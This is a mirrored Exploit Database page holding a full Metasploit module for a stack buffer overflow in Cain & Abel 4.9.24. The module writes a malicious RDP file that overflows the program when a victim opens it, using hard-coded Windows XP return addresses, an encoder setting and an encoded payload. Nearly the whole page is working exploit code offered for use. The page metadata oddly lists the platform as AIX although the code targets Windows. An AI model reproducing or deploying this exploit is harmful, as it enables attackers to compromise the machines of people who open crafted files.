Cain & Abel 4.9.24 – RDP Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-11-24
• 类别：

  • local
  平台：

  • aix
• 来源：https://www.exploit-db.com/exploits/16659/

• ##
  # $Id: cain_abel_4918_rdp.rb 11127 2010-11-24 19:35:38Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Cain & Abel <= v4.9.24 RDP Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
  				and below. An attacker must send the file to victim, and the victim must open
  				the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
  			'Version'=> '$Revision: 11127 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-5405' ],
  					[ 'OSVDB', '50342' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/7329' ],
  					[ 'BID', '32543' ],
  				],
  			'Payload'=>
  				{
  					'Space'=> 800,
  					'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Tested ok patrickw 20090503
  					[ 'Windows XP SP2 English', 	{ 'Ret' => 0x7c82385d } ], #call esp
  					[ 'Windows XP SP0/1 English', 	{ 'Ret' => 0x71ab7bfb } ], #jmp esp
  					[ 'Windows XP SP2 Spanish',	{ 'Ret' => 0x7c951eed } ], #jmp esp
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Nov 30 2008',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','exploit_cain.rdp']),
  			], self.class)
  	end
  
  	def exploit
  
  		filerdp = rand_text_alpha_upper(8206)
  		filerdp << [target.ret].pack('V') + [target.ret].pack('V')
  		filerdp << payload.encoded
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(filerdp)
  
  	end
  
  end